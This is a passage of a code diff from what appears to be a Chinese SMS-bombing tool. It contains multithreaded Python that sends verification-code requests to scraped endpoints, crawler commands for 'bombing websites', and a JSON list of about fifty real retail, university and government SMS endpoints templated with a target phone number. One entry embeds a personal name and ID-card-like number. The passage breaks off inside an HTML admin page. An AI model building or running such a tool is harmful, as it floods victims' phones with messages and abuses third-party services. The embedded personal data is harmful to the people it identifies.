with requests.get(api.replace("[phone]", self.default_phone), headers=self.header, timeout=8, verify=False) as resp:
|
||||
if resp.status_code == 200:
|
||||
with self.lock:
|
||||
self.db.update(api)
|
||||
|
||||
except Exception as e:
|
||||
pass
|
||||
finally:
|
||||
self.api_queue.task_done()
|
||||
|
||||
def main(self):
|
||||
self.get_sms_api()
|
||||
# 在此设置线程数 int 类型
|
||||
threads_count = 254
|
||||
threads = [
|
||||
threading.Thread(target=self.check_theads,
|
||||
name=f"{i}", daemon=True)
|
||||
for i in range(1, threads_count+1)
|
||||
]
|
||||
for thread in threads:
|
||||
thread.start()
|
||||
logger.info("多线程校验进行中......(可能耗时比较长)")
|
||||
from tqdm import tqdm
|
||||
import time
|
||||
with tqdm(total=self.size) as pbar:
|
||||
while not self.api_queue.empty():
|
||||
pbar.update(self.size-self.api_queue.qsize())
|
||||
self.size = self.api_queue.qsize()
|
||||
time.sleep(0.5)
|
||||
self.api_queue.join()
|
||||
logger.info(f"总接口数目(去重后):{len(self.db.select())}")
|
||||
|
||||
|
||||
def test_api_web(url: str) -> tuple:
|
||||
"""check api web is ok?
|
||||
:return: tuple
|
||||
"""
|
||||
if url is None:
|
||||
return
|
||||
with httpx.Client(headers=header, verify=False) as client:
|
||||
try:
|
||||
resp = client.get(url=url).text
|
||||
title = re.findall('<title>(.*?)</title>', resp)
|
||||
if title:
|
||||
logger.info(f"{url} title:{title[0]}")
|
||||
return (title[0], url)
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"{url} 请求错误! {why}")
|
||||
|
||||
return
|
||||
|
||||
|
||||
def load_api_web():
|
||||
"""从 json 文件加载轰炸网址.并测试!
|
||||
:return:
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'hz-web.json')
|
||||
table = PrettyTable(["标题", "链接"])
|
||||
if not json_path.exists():
|
||||
logger.error(f"hz-web.json not exists in {str(json_path)}!")
|
||||
return
|
||||
j = json_path.read_text(encoding="utf8")
|
||||
ok_web = []
|
||||
try:
|
||||
webs = json.loads(j)
|
||||
except json.decoder.JSONDecodeError as why:
|
||||
logger.error(f"json syctax error! {why}")
|
||||
return
|
||||
|
||||
for web in webs:
|
||||
result = test_api_web(web['url'])
|
||||
if result:
|
||||
table.add_row([result[0], result[1]])
|
||||
ok_web.append(
|
||||
{"url": result[1], "key": web.get('key'), "title": result[0]})
|
||||
|
||||
logger.success(f"有效的轰炸网站:\n{table}")
|
||||
if input(">>是否写入 hz-web.json?(Y/n)") == "Y":
|
||||
with open(json_path, encoding="utf8", mode="w") as fp:
|
||||
try:
|
||||
json.dump(ok_web, fp, ensure_ascii=False)
|
||||
logger.success("save hz-web.json success!")
|
||||
except Exception as why:
|
||||
logger.error(f"write hz-web.json error {why}")
|
||||
return ok_web
|
||||
|
||||
|
||||
@click.group()
|
||||
def cli():
|
||||
pass
|
||||
|
||||
|
||||
@click.command()
|
||||
def spider_all():
|
||||
"""
|
||||
根据目录下的 hz-web.json 文件更新接口
|
||||
"""
|
||||
websites = load_api_web()
|
||||
for website in websites:
|
||||
logger.info(f"正在爬取:{website['url']}")
|
||||
try:
|
||||
sms = SMS(website=website['url'], key=website['key']).main()
|
||||
except Exception as why:
|
||||
logger.critical(f"爬取:{website['url']} 出错:{why}")
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True)
|
||||
@click.option('--key', help='网址携带的参数(可选)', default="")
|
||||
def spider_one(url, key):
|
||||
"""爬取单个网址."""
|
||||
try:
|
||||
sms = SMS(website=url, key=key).main()
|
||||
except Exception as why:
|
||||
logger.critical(f"爬取:{url} 出错:{why}")
|
||||
|
||||
|
||||
@click.command()
|
||||
@logger.catch
|
||||
def save_api():
|
||||
"""保存api到 GETAPI.json 文件"""
|
||||
db = Sql()
|
||||
apis = db.select()
|
||||
api_lst = [
|
||||
api
|
||||
for api in apis
|
||||
]
|
||||
with open("GETAPI.json", mode="w") as j:
|
||||
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
|
||||
logger.success("写入到 GETAPI.json 成功!")
|
||||
|
||||
|
||||
cli.add_command(spider_all)
|
||||
cli.add_command(spider_one)
|
||||
cli.add_command(save_api)
|
||||
|
||||
if __name__ == '__main__':
|
||||
cli()
|
||||
40
debug/tou_api.py
Executable file
@@ -0,0 +1,40 @@
|
||||
# encoding=utf8
|
||||
# 从 api.js 偷别人家的接口
|
||||
import pathlib
|
||||
import json
|
||||
from pydantic import BaseModel
|
||||
from typing import Optional, Union
|
||||
|
||||
path = pathlib.Path(__file__).parent.resolve()
|
||||
|
||||
|
||||
class API(BaseModel):
|
||||
"""处理自定义 API 数据"""
|
||||
desc: str = "Default"
|
||||
url: str = ""
|
||||
method: str = "GET"
|
||||
header: Optional[Union[str, dict]] = ""
|
||||
data: Optional[Union[str, dict]]
|
||||
|
||||
|
||||
def main():
|
||||
with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c:
|
||||
js = json.load(fp=c)
|
||||
|
||||
apis = []
|
||||
for j in js:
|
||||
# print(j)
|
||||
api = API()
|
||||
api.url = j[0]
|
||||
api.method = j[3]
|
||||
api.desc = j[2]
|
||||
api.data = j[4]
|
||||
apis.append(api.dict())
|
||||
# print(apis)
|
||||
|
||||
with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc:
|
||||
js = json.dump(obj=apis, fp=cc, ensure_ascii=False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
533
debug/touapi.json
Executable file
@@ -0,0 +1,533 @@
|
||||
[
|
||||
[
|
||||
"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||
"111",
|
||||
"迪卡侬",
|
||||
"POST",
|
||||
{
|
||||
"countryCode": "CN",
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://www.decathlon.com.cn/zh/create"
|
||||
],
|
||||
[
|
||||
"https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||
60,
|
||||
"股海网",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://www.guhai.com.cn/register.html"
|
||||
],
|
||||
[
|
||||
"http://www.lll.plus/sendCode/",
|
||||
60,
|
||||
"LLL的个人blog",
|
||||
"POST",
|
||||
{
|
||||
"tel": "[phone]",
|
||||
"forgetPwd": ""
|
||||
},
|
||||
"http://www.lll.plus/register/"
|
||||
],
|
||||
[
|
||||
"https://www.xcxui.com/index/register/getcode.html",
|
||||
60,
|
||||
"企米子",
|
||||
"POST",
|
||||
{
|
||||
"tel": "[phone]"
|
||||
},
|
||||
"https://www.xcxui.com/index/register"
|
||||
],
|
||||
[
|
||||
"https://id.pgyer.com/user/getRegisterCode",
|
||||
60,
|
||||
"蒲公英",
|
||||
"POST",
|
||||
{
|
||||
"tel": "[phone]",
|
||||
"callingCode": "86",
|
||||
"mode": "tel"
|
||||
},
|
||||
"https://id.pgyer.com/user/register?mode=tel"
|
||||
],
|
||||
[
|
||||
"https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||
60,
|
||||
"百卓优采",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]",
|
||||
"captcha": ""
|
||||
},
|
||||
"https://erp.abiz.com/register"
|
||||
],
|
||||
[
|
||||
"https://brand.yunbeilou.com/index.php/smssend",
|
||||
30,
|
||||
"云背篓",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]",
|
||||
"v": "yes"
|
||||
},
|
||||
"https://brand.yunbeilou.com/index.php/register"
|
||||
],
|
||||
[
|
||||
"https://m.php.cn/account/phone_code.html",
|
||||
60,
|
||||
"PHP中文网",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://m.php.cn/reg.html"
|
||||
],
|
||||
[
|
||||
"http://dhba.12321.cn/api/verifycode",
|
||||
60,
|
||||
"12321",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"http://dhba.12321.cn/user/register"
|
||||
],
|
||||
[
|
||||
"https://www.ztestin.com/users/send/vercode",
|
||||
60,
|
||||
"Testin众测",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]",
|
||||
"type": "register",
|
||||
"voice": "0"
|
||||
},
|
||||
"https://www.ztestin.com/users/register?from=menu"
|
||||
],
|
||||
[
|
||||
"http://maker.haier.net/client/user/sendregistervcode.html",
|
||||
60,
|
||||
"海尔",
|
||||
"POST",
|
||||
{
|
||||
"account": "[phone]"
|
||||
},
|
||||
"http://maker.haier.net/client/mobile/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||
30,
|
||||
"飞猫云",
|
||||
"POST",
|
||||
{
|
||||
"pcode": "+86",
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP"
|
||||
],
|
||||
[
|
||||
"https://end.huajuetech.com/api/sendCode",
|
||||
60,
|
||||
"华觉数字化平台",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]",
|
||||
"email": "null",
|
||||
"verfy_method": "mobile"
|
||||
},
|
||||
"https://end.huajuetech.com/admin.php/system/Passport/regist.html"
|
||||
],
|
||||
[
|
||||
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||
120,
|
||||
"问政江西",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/"
|
||||
],
|
||||
[
|
||||
"http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||
60,
|
||||
"河南智慧党建",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]",
|
||||
"verifytype": "1"
|
||||
},
|
||||
"http://www.hndyjyfw.gov.cn/register.html"
|
||||
],
|
||||
[
|
||||
"https://cloud.666idc.com/index/login/sendsms.html",
|
||||
60,
|
||||
"陆陆陆云安全",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]",
|
||||
"mobile_pre": "86"
|
||||
},
|
||||
"https://cloud.666idc.com/index/login/register"
|
||||
],
|
||||
[
|
||||
"https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||
60,
|
||||
"网易",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://dz.blizzard.cn/register"
|
||||
],
|
||||
[
|
||||
"https://www.codeseeding.com/loginUser/toSend",
|
||||
60,
|
||||
"码云社",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://www.codeseeding.com/index"
|
||||
],
|
||||
[
|
||||
"http://sso.rcsd.cn/regist/getVerifyCode",
|
||||
120,
|
||||
"人才山东",
|
||||
"POST",
|
||||
{
|
||||
"personcall": "[phone]"
|
||||
},
|
||||
"http://sso.rcsd.cn/regist/registeHome"
|
||||
],
|
||||
[
|
||||
"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||
60,
|
||||
"水利部",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"http://sso.mwr.cn/examine/getexamines.jsp"
|
||||
],
|
||||
[
|
||||
"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||
60,
|
||||
"七联大学",
|
||||
"POST",
|
||||
{
|
||||
"phoneNumber": "[phone]",
|
||||
"sendType": "0"
|
||||
},
|
||||
"http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp"
|
||||
],
|
||||
[
|
||||
"https://www.0101ssd.com/user/sendmsg",
|
||||
60,
|
||||
"闪德资讯",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]",
|
||||
"event": "register"
|
||||
},
|
||||
"https://www.0101ssd.com/"
|
||||
],
|
||||
[
|
||||
"https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||
60,
|
||||
"江苏省名师空中课堂",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]",
|
||||
"type": "1"
|
||||
},
|
||||
"https://mskzkt.jse.edu.cn/baseApi/user/code/"
|
||||
],
|
||||
[
|
||||
"https://csff.cutv.com/wapi/users/sendregcode",
|
||||
60,
|
||||
"CSFF短片",
|
||||
"POST",
|
||||
{
|
||||
"telphone": "[phone]"
|
||||
},
|
||||
"https://csff.cutv.com/register"
|
||||
],
|
||||
[
|
||||
"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||
60,
|
||||
"广西人社厅",
|
||||
"POST",
|
||||
{
|
||||
"aae005": "[phone]",
|
||||
"aac003": "刘萌萌",
|
||||
"aac002": "210212198506035924",
|
||||
"notkeyflag": "1"
|
||||
},
|
||||
"http://rswb.gx12333.net/member/register.jhtml"
|
||||
],
|
||||
[
|
||||
"https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||
60,
|
||||
"麦克赛尔数字映像",
|
||||
"POST",
|
||||
{
|
||||
"action": "send",
|
||||
"txtMember_Name": "[phone]"
|
||||
},
|
||||
"https://www.maxell-dm.cn/register.aspx"
|
||||
],
|
||||
[
|
||||
"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||
60,
|
||||
"宝提分",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?"
|
||||
],
|
||||
[
|
||||
"http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||
60,
|
||||
"选型系统",
|
||||
"GET",
|
||||
{
|
||||
"cmd": "GetTelVerifyCode",
|
||||
"Tel": "[phone]"
|
||||
},
|
||||
"http://www.cnppump.ltd/Register/RegisterByTel.aspx"
|
||||
],
|
||||
[
|
||||
"http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||
60,
|
||||
"千里马网信科技",
|
||||
"POST",
|
||||
{
|
||||
"tips": "1",
|
||||
"shouji": "[phone]"
|
||||
},
|
||||
"http://vip.qianlima.com/register.html"
|
||||
],
|
||||
[
|
||||
"https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||
60,
|
||||
"保定云",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://baodingyun.com.cn/register.html"
|
||||
],
|
||||
[
|
||||
"http://www.gm5.com/auth/registerSms.html",
|
||||
60,
|
||||
"欢动游戏",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"http://www.gm5.com/auth/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.maiwe.com.cn/index/sendcode.html",
|
||||
60,
|
||||
"迈威",
|
||||
"GET",
|
||||
{
|
||||
"tel": "[phone]"
|
||||
},
|
||||
"https://www.maiwe.com.cn/index/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||
60,
|
||||
"憨鼠社区",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||
60,
|
||||
"天鹅到家",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||
60,
|
||||
"诺达筑工",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||
60,
|
||||
"栋才智慧",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||
60,
|
||||
"工伤预防网上培训平台",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||
60,
|
||||
"济宁专技",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
},
|
||||
"https://sdjn-web.yxlearning.com/staffRegister.shtml"
|
||||
],
|
||||
[
|
||||
"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||
60,
|
||||
"宁夏伊地地质工程有限公司",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||
60,
|
||||
"青春大学说",
|
||||
"POST",
|
||||
{
|
||||
"phone_number": "[phone]"
|
||||
},
|
||||
"http://zycp.qcdxs.com/user/register.html"
|
||||
],
|
||||
[
|
||||
"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||
60,
|
||||
"兴业利达电子招投标平台",
|
||||
"POST",
|
||||
{
|
||||
"username": "[phone]",
|
||||
"type": "regUser",
|
||||
"mobile": "PC"
|
||||
},
|
||||
"https://www.gzxyld.cn/HuiEbid/view/register.html"
|
||||
],
|
||||
[
|
||||
"https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||
60,
|
||||
"火象",
|
||||
"POST",
|
||||
{
|
||||
"temp": "1",
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://www.alphazone.com.cn/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.vipexam.cn/user/identifyingCode.action",
|
||||
60,
|
||||
"中科教育",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://www.vipexam.cn/register.html"
|
||||
],
|
||||
[
|
||||
"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||
60,
|
||||
"聚题库",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||
60,
|
||||
"苏州高新区教育局",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://jssnd.edu.cn/register.html"
|
||||
],
|
||||
[
|
||||
"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||
60,
|
||||
"专业技术人员继续教育平台",
|
||||
"GET",
|
||||
{},
|
||||
""
|
||||
],
|
||||
[
|
||||
"https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||
60,
|
||||
"泰安专技",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
},
|
||||
"https://sdta-web.yxlearning.com/staffRegister.shtml"
|
||||
],
|
||||
[
|
||||
"https://www.vipexam.cn/user/identifyingCode.action",
|
||||
60,
|
||||
"志睿择",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"https://www.vipexam.cn/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.bugbank.cn/api/verifymobile",
|
||||
90,
|
||||
"漏洞银行",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://www.bugbank.cn/bbe/register.html"
|
||||
],
|
||||
[
|
||||
"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||
60,
|
||||
"中国劳动保障新闻网",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://www.clssn.com/register.html"
|
||||
],
|
||||
[
|
||||
"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||
60,
|
||||
"广东省心理学会",
|
||||
"POST",
|
||||
{
|
||||
"phone": "[phone]"
|
||||
},
|
||||
"http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1"
|
||||
],
|
||||
[
|
||||
"https://www.feeclouds.com/homepage/register/send",
|
||||
60,
|
||||
"费耘网",
|
||||
"POST",
|
||||
{
|
||||
"mobile": "[phone]"
|
||||
},
|
||||
"https://www.feeclouds.com/register.html"
|
||||
]
|
||||
]
|
||||
63
flask_app/__init__.py
Executable file
@@ -0,0 +1,63 @@
|
||||
# encoding=utf8
|
||||
# app 工厂函数
|
||||
from flask import Flask,current_app
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from flask_admin import Admin
|
||||
from flask_admin.contrib.sqla import ModelView
|
||||
from flask_babelex import Babel
|
||||
import sys
|
||||
import os
|
||||
from loguru import logger
|
||||
|
||||
|
||||
# 判断系统
|
||||
WIN = sys.platform.startswith('win')
|
||||
if WIN: # 如果是 Windows 系统,使用三个斜线
|
||||
prefix = 'sqlite:///'
|
||||
else: # 否则使用四个斜线
|
||||
prefix = 'sqlite:////'
|
||||
|
||||
# 日志处理
|
||||
logger.remove()
|
||||
logger.add(
|
||||
sink=sys.stdout,
|
||||
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
|
||||
colorize=True,
|
||||
backtrace=True
|
||||
)
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
# app config
|
||||
class AppConfig:
|
||||
SQLALCHEMY_DATABASE_URI = prefix + \
|
||||
os.path.join(app.root_path, 'data.db') # 数据库路径
|
||||
SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控
|
||||
FLASK_ADMIN_SWATCH = "cerulean" # admin 主题
|
||||
|
||||
# 密钥
|
||||
SESSION_TYPE = 'filesystem'
|
||||
SECRET_KEY = os.urandom(24)
|
||||
|
||||
BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化
|
||||
|
||||
TEST_PHONE = "19820294268" # 测试手机号
|
||||
|
||||
|
||||
app.config.from_object(AppConfig)
|
||||
# 设置模板全局变量
|
||||
# print(app.config.get("TEST_PHONE"))
|
||||
app.add_template_global(current_app,"current_app")
|
||||
|
||||
# 扩展
|
||||
db = SQLAlchemy(app)
|
||||
babel = Babel(app)
|
||||
|
||||
admin = Admin(app, name="短信接口调试", template_mode='bootstrap3')
|
||||
from .model import ApisModelVies, Apis
|
||||
admin.add_view(ApisModelVies(Apis, db.session))
|
||||
|
||||
# buleprint
|
||||
from .views import main as main_blueprint
|
||||
app.register_blueprint(main_blueprint)
|
||||
BIN
flask_app/data.db
Executable file
81
flask_app/model.py
Executable file
@@ -0,0 +1,81 @@
|
||||
# encoding=utf8
|
||||
# 储存数据库模型
|
||||
from . import db
|
||||
from datetime import datetime
|
||||
from . import ModelView
|
||||
import json
|
||||
from typing import Union, Optional
|
||||
from pydantic import BaseModel
|
||||
|
||||
default_header = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
|
||||
}
|
||||
|
||||
|
||||
class ApisModelVies(ModelView):
|
||||
create_template = 'api_edit.html'
|
||||
edit_template = 'api_edit.html'
|
||||
# 在当前页面编辑
|
||||
# create_modal = True
|
||||
# edit_modal = True
|
||||
# 启用搜索
|
||||
column_searchable_list = ['desc']
|
||||
# 可以导出 csv
|
||||
can_export = True
|
||||
|
||||
|
||||
class Apis(db.Model):
|
||||
id = db.Column(db.Integer, primary_key=True) # 主键
|
||||
desc = db.Column(db.String(20), default="Default") # 描述
|
||||
url = db.Column(db.String(9999), unique=True, nullable=False) # 链接
|
||||
method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法
|
||||
header = db.Column(db.String(9999)) # 请求头
|
||||
data = db.Column(db.String(9999)) # 请求数据
|
||||
add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间
|
||||
|
||||
|
||||
class API(BaseModel):
|
||||
desc: str = "Default"
|
||||
url: str
|
||||
method: str = "GET"
|
||||
header: Optional[Union[str, dict]] = default_header
|
||||
data: Optional[Union[str, dict]]
|
||||
|
||||
def replace_data(self, content: Union[str, dict], phone) -> str:
|
||||
# 统一转换成 str 再替换.
|
||||
content = str(content).replace("[phone]", phone).replace(
|
||||
"[timestamp]", self.timestamp_new()).replace("'", '"')
|
||||
# 尝试 json 化
|
||||
try:
|
||||
# json.loads(content)
|
||||
# print("json成功",content)
|
||||
return json.loads(content)
|
||||
except:
|
||||
# print("json失败",content)
|
||||
return content
|
||||
|
||||
def timestamp_new(self) -> str:
|
||||
"""返回整数字符串时间戳"""
|
||||
return str(int(datetime.now().timestamp()))
|
||||
|
||||
def handle_API(self, phone=None):
|
||||
"""
|
||||
:param API: one API basemodel
|
||||
:return: API basemodel
|
||||
"""
|
||||
# 仅仅当传入 phone 参数时添加 Referer
|
||||
# fix: 这段代码很有问题.......
|
||||
if phone:
|
||||
# 进入的 header 是个字符串
|
||||
if self.header == "":
|
||||
self.header = {}
|
||||
self.header['Referer'] = self.url # 增加 Referer
|
||||
|
||||
self.header = self.replace_data(self.header, phone)
|
||||
if not self.header.get('Referer'):
|
||||
self.header['Referer'] = self.url # 增加 Referer
|
||||
|
||||
self.data = self.replace_data(self.data, phone)
|
||||
self.url = self.replace_data(self.url, phone)
|
||||
# print(self)
|
||||
return self
|
||||
52
flask_app/static/test.js
Executable file
@@ -0,0 +1,52 @@
|
||||
|
||||
|
||||
function getValue() {
|
||||
let desc = $("#desc").val();
|
||||
let url = $("#url").val();
|
||||
let method = $("#method").val();
|
||||
let header = $("#header").val();
|
||||
let phone = $("#phone").val();
|
||||
let data_ = $("#data").val();
|
||||
|
||||
let data = {
|
||||
"desc": desc,
|
||||
"url": url,
|
||||
"method": method,
|
||||
"header": header,
|
||||
"phone": phone,
|
||||
"data": data_
|
||||
};
|
||||
|
||||
return data;
|
||||
};
|
||||
|
||||
$(document).ready(function () {
|
||||
|
||||
|
||||
|
||||
$("#test").click(function () {
|
||||
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/testapi/",
|
||||
contentType: "application/json",
|
||||
data: JSON.stringify(getValue()),
|
||||
dataType: "json",
|
||||
success: function (response) {
|
||||
if (response.status == 0) {
|
||||
$("#suc").show().text("请求成功!:" + response.resp);
|
||||
} else {
|
||||
$("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp);
|
||||
}
|
||||
},
|
||||
error: function (XMLHttpRequest, textStatus, errorThrown) {
|
||||
$("#error").show().text("发送请求错误请检查后端接口:" + textStatus);
|
||||
},
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
// console.log(desc, url, method, header);
|
||||
|
||||
|
||||
});
|
||||
173
flask_app/templates/admin_back.html
Executable file
@@ -0,0 +1,173 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<!-- 屏蔽referrer -->
|
||||
<meta name="referrer" content="never">
|
||||
<title>短信轰炸接口调试工具.</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
|
||||
integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
|
||||
integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo"
|
||||
crossorigin="anonymous"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"
|
||||
integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1"
|
||||
crossorigin="anonymous"></script>
|
||||
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"
|
||||
integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM"
|
||||
crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
|
||||
<script src="https://cdn.staticfile.org/axios/0.18.0/axios.min.js"></script>
|
||||
<!-- 引入 layui.css -->
|
||||
<link rel="stylesheet" href="https://unpkg.com/layui@2.6.8/dist/css/layui.css">
|
||||
<!-- 引入 layui.js -->
|
||||
<script src="https://unpkg.com/layui@2.6.8/dist/layui.js"></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container" id="app">
|
||||
|
||||
<h3>
|
||||
短信接口添加工具
|
||||
<small class="text-muted">By 落落</small>
|
||||
</h3>
|
||||
|
||||
<div>
|
||||
<div class="input-group mb-3">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text" id="basic-addon1">phone</span>
|
||||
</div>
|
||||
<input v-model="phone" type="text" class="form-control" placeholder="测试手机号">
|
||||
</div>
|
||||
|
||||
<div class="input-group mb-3">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text" id="basic-addon1">decs</span>
|
||||
</div>
|
||||
<input v-model="desc" type="text" class="form-control" placeholder="接口描述">
|
||||
</div>
|
||||
|
||||
<div class="input-group mb-3">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text" id="basic-addon1">URL</span>
|
||||
</div>
|
||||
<input v-model="url" type="text" class="form-control" placeholder="链接">
|
||||
</div>
|
||||
|
||||
<div class="input-group">
|
||||
<div class="input-group-prepend">
|
||||
